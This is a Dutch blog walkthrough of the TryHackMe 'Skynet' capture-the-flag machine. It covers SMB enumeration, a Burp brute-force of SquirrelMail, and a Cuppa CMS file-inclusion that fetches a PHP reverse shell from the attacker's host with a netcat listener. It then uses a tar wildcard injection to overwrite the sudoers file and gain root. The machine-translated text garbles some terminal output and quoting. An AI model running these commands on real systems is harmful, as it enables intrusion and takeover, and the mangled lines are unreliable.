Skynet – Tryhackme – Handmatig schrijven

Reading Time: ( Word Count: )

februari 23, 2021
Nextdoorsec-course

Intro

Skynet machine behandelt de volgende onderwerpen:

  • Kwetsbare smb-server
  • Squirrelmail brute-forcing met Burpsuite
  • Lokaal/op afstand opnemen van bestanden
  • Wildcards exploiteren op Linux

Opsomming

Nmap

Te beginnen met een Nmap scan:

┌──(kali㉿kali)-[~] └─$ nmap -v -A $IP
PORT STATE SERVICE VERSIE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA) | 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA) |_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methodes: |Ondersteunde methoden: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Skynet 110/tcp open pop3 Dovecot pop3d |_pop3-capaciteiten: RESP-CODES PIPELINING TOP UIDL AUTH-RESP-CODE SASL CAPA 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (werkgroep: WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities: Pre-login OK LOGIN-REFERRALS IMAP4rev1 ID more ENABLE listed LOGINDISABLEDA0001 have IDLE post-login LITERAL+ SASL-IR capabilities. 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (werkgroep: WORKGROUP) Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We hebben interessante open poorten ontdekt: pop3 server op poort 110, IMAP mail server op poort 143, open http server op zijn standaard poort en een samba server die het SMB protocol ondersteunt. SMB heeft twee poorten, 445 en 139.

SMB werkte oorspronkelijk bovenop NetBIOS met poort 139, maar aangezien NetBIOS een oudere transportlaag is voor Windows-computers, kwam poort 445 daarvoor in de plaats na Windows 2000. Nu draait het bovenop een TCP-stack, waardoor SMB over het internet kan werken.

Gobuster

De http webserver bevat niets interessants, dus laten we het brute-force doen voor andere directories:

┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
=============================================================== http://10.10.176.19/admin (Status: 403) http://10.10.176.19/css (Status: 403) http://10.10.176.19/js (Status: 403) http://10.10.176.19/config (Status: 403) http://10.10.176.19/ai (Status: 403) http://10.10.176.19/squirrelmail (Status: 200) ===============================================================

We hebben een login pagina ontdekt voor SquirrelMail, maar we hebben referenties nodig.

 

Samba

Laten we de samba-server opsommen met Nmap-scripts:

┌──(kali㉿kali)-[~] └─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
PORT STATE SERVICE 445/tcp open microsoft-ds Host script resultaten: | smb-enum-shares: | account_used: guest | 10.10.176.19: | Type: STYPE_IPC_HIDDEN | Commentaar: IPC Service (skynet server (Samba, Ubuntu)) | Gebruikers: 2 | Max gebruikers: | Pad: C:\tmp | Anonieme toegang: LEZEN/SCHRIJVEN | Huidige gebruikerstoegang: READ/WRITE | 10.10.176.19: | Type: STYPE_DISKTREE | Commentaar: Skynet Anoniem Aandeel | Gebruikers: 0 | Max gebruikers: | Pad: C:\srv. | Anonieme toegang: LEZEN/SCHRIJVEN | Huidige gebruikerstoegang: READ/WRITE | 10.10.176.19: | Type: STYPE_DISKTREE | Commentaar: Miles Dyson Persoonlijk Aandeel | Gebruikers: 0 | Max gebruikers: | Pad: C:home milesdyson share Anonieme toegang: | Huidige gebruikerstoegang: | 10.10.176.19: | Type: STYPE_DISKTREE | Commentaar: Printerdrivers | Gebruikers: 0 | Max Gebruikers: | Pad: C:varlibsamba's | Anonieme toegang: |Huidige gebruikerstoegang: | smb-enum-users: | SKYNETmilesdyson (RID: 1000) | Volledige naam: | Beschrijving: | Flags: Normaal gebruikersaccount

Anonieme toegang lijkt te zijn toegestaan; laten we ook de “milesdyson” gebruiker toevoegen in onze notities.

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymous smb: \> cd logs smb: \logs: \> ls . D 0 Wed Sep 18 06:42:16 2019 ... D 0 Thu Nov 26 17:04:00 2020 log2.txt N 0 Wed Sep 18 06:42:13 2019 log1.txt N 471 Wed Sep 18 06:41:59 2019 log3.txt N 0 Wed Sep 18 06:42:16 2019

Een van de logs bevat interessante wachtwoorden. Laten we het bestand lokaal opslaan voor later gebruik.

Hierboven vonden we een smb share met de naam milesdyson; laten we met deze informatie de mailserver brute-forcen.

Exploitatie

Burpsuite

1. Capture verzoek in Burpsuite
2. Verzenden naar indringer (Ctrl+I)
3. Wachtwoordveld toevoegen in bereik/positie voor brute-forcing
4. Kies aanvalstype Sniper, laadt gevonden wachtwoordenbestand & start de aanval
5. Zoek naar HTTP-reactiecodes die zich onderscheiden van de rest

 

Nu we het wachtwoord hebben, kunnen we inloggen en kijken wat we nog meer kunnen vinden:

Daar staat het wachtwoord voor de share van onze gebruiker; we kunnen het gebruiken om toegang te krijgen tot zijn samba share:

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/milesdyson --user milesdyson
smb: \ ls . D 0 Tue Sep 17 11:18:40 2019 ... D 0 Tue Sep 17 11:05:47 2019 3.01 Search.md N 65601 Tue Sep 17 11:01:29 2019 4.01 Agent-Based Models.md N 5683 Tue Sep 17 11:01:29 2019 2.08 In de praktijk.md N 7949 Tue Sep 17 11:01:29 2019 0.00 Cover.md N 3114 Tue Sep 17 11:01:29 2019 1.02 Lineaire Algebra.md N 70314 Tue Sep 17 11:01:29 2019 belangrijk.txt N 117 Tue Sep 17 11:18:39 2019 6.01 pandas.md N 9221 Tue Sep 17 11:01:29 2019 3.00 Artificial Intelligence.md N 33 Tue Sep 17 11:01:29 2019 2.01 Overview.md N 1165 Tue Sep 17 11:01:29 2019 ... prompt recurse mget *

 

Het openen van important.txt onthult een verborgen directory:

┌──(kali㉿kali)-[~] └─$ cat important.txt
1. Functies toevoegen aan beta CMS /45kra24zxs28v3yd 2. Werken aan T-800 Model 101 blauwdrukken 3. Meer tijd doorbrengen met mijn vrouw

 

Laten we eens kijken naar het CMS in deze verborgen directory:

Niet veel te zien, maar het heeft waarschijnlijk een inlogpagina omdat het een Content Management Systeem (CMS) is; laten we brute-force voor andere directories.

┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
http://10.10.167.244/45kra24zxs28v3yd/administrator (Status: 200)

 

We hebben de inlogpagina gevonden:

 

Uit de broncode blijkt niets over de CMS-versie. Nog gezocht in searchsploit naar iets interessants:

┌──(kali㉿kali)-[~] └─$ searchsploit cuppa
------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------ Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt ------------------------------------------------------------------------------ ---------------------------------

Het is een RFI/LFI kwetsbaarheid, wat betekent dat we met deze kwetsbaarheid lokale of remote PHP bestanden (meestal) kunnen opnemen of niet-PHP bestanden kunnen lezen. Bij LFI moet de aanvaller het kwaadaardige script uploaden naar de doelserver om het lokaal uit te voeren.

┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...

 

Laten we het nu gebruiken om een omgekeerde schil te krijgen. Eerst moeten we een listener starten, dan de lokale http-server en daarna het PHP-script van daaruit aanroepen:

┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443
┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.152.221:5300/revsh.php

Als u Kali Linux gebruikt, zou u een reverse PHP script lokaal beschikbaar moeten hebben in de volgende map:
/usr/share/webshells/php/php-reverse-shell.php. Kopieer het en verander het IP adres & poort nummer om terug te verbinden.

luisteren naar [any] 443 ... verbinden met [10 .8.152.221] van (UNKNOWN) [10 .10.167.244] 38510 Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 GNU/Linux 10:46:22 up 38 min, 0 gebruikers, gemiddelde belasting: 0.00, 0.00, 0.00 GEBRUIKER TTY VAN LOGIN@ IDLE JCPU PCPU WAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: geen toegang tot tty; opdrachtcontrole uitgeschakeld $ whoami www-data

Nu we de gebruikersvlag hebben. Laten we privileges escaleren!

Privilege-escalatie

Wildcard exploiteren

Ik heb geen binaire bestanden met SUID-bit gevonden. Ik probeerde de etc/shadow bestand zonder succes. Na wat meer opsomming heb ik een ongebruikelijke cronjob ontdekt, die elke minuut draait:

┌──(kali㉿kali)-[~] └─$ cat /etc/crontab
# /etc/crontab: systeembrede crontab # In tegenstelling tot elke andere crontab hoeft u het `crontab' # commando niet uit te voeren om de nieuwe versie te installeren wanneer u dit bestand # en bestanden in /etc/cron.d bewerkt. Deze bestanden hebben ook gebruikersnaam velden, # die geen van de andere crontabs hebben. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow gebruiker commando */1 * * * root /home/milesdyson/backups/backup.sh 17 * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #

 

Laten we het inspecteren:

$ cat backup.sh #!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz *

/bin/bash krijgt een shell als root zoals te zien is in
etc/crontab
navigeert vervolgens naar de /var/www/html directory en maakt een backup/archief van alles in de directory met behulp van
tar
.

Aan het einde van het tar-commando staat de asterisk bekend als een wildcard, wat “alle” betekent. De asterisk kan voor verschillende doeleinden worden gebruikt, zoals ls *.py wat betekent dat alle bestanden met de .py uitbreiding. Alles wat we in /var/www/html zetten, wordt toegevoegd aan het gecomprimeerde bestand dat tar genereert.

Er zijn verschillende manieren om dit uit te buiten, laten we de makkelijkste nemen. We voegen onszelf toe aan de etc/sudoers bestand en zo kunnen we elk commando met sudo uitvoeren, zoals sudo bash om een root-shell te krijgen. In een eenvoudig commando is dit het volgende wat we proberen te bereiken:

┌──(kali㉿kali)-[~] └─$ echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers

 

Laten we de volgende twee commando’s die gebruikt worden voor privilege-escalatie beter begrijpen door de handleidingpagina van tar te bekijken:

┌──(kali㉿kali)-[~] └─$ man tar
Informatieve uitvoer --checkpoint[=N] Elke N-de record (standaard 10) een voortgangsbericht weergeven. --checkpoint-action=ACTION Voer ACTION uit op elk checkpoint.

Het jokerteken betekent dat we een eenvoudige argumentinjectie kunnen doen door de argumenten die we nodig hebben als bestandsnamen te schrijven en checkpointacties te gebruiken om commando’s uit te voeren.

$ cd var/www/html
$ echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers" > root.sh
$ echo "var/www/html" > "--checkpoint-action=exec=sh root.sh"
$ echo "var/www/html" > --checkpoint=1
$ sudo bash whoami root

Indien ingesloten in enkele aanhalingstekens ('), heeft geen enkel teken in het enkele aanhalingsteken een speciale betekenis. Terwijl dubbele aanhalingstekens (") laat de shell het dollarteken ($), backtick(`), backslash(\) en uitroepteken (!).

Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

“Apple neutraliseert misbruikte kwetsbaarheden: Een uitgebreide update”

Apple heeft beveiligingsverbeteringen geïntroduceerd om 'zero-day'-kwetsbaarheden te neutraliseren die zijn ...

“De AI-prestaties van ChatGPT: Verder dan de Turingtest of nog niet helemaal?”

ChatGPT, een kunstmatige intelligentie chatbot van OpenAI, heeft door zijn buitengewone capaciteiten veel stof ...

“Verliest Threads zijn draad? De Twitter rivaal van Instagram nader bekeken”.

Een artikel van de Wall Street Journal van vrijdag waarschuwde dat Instagram's nieuwe concurrent voor Twitter, ...

“VirusTotal’s datalek: Menselijke fout of systeemfout?”

Vrijdag betuigde VirusTotal spijt over het onopzettelijk blootstellen van de gegevens van meer dan 5.600 klanten ...
0 reacties

Een reactie versturen

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *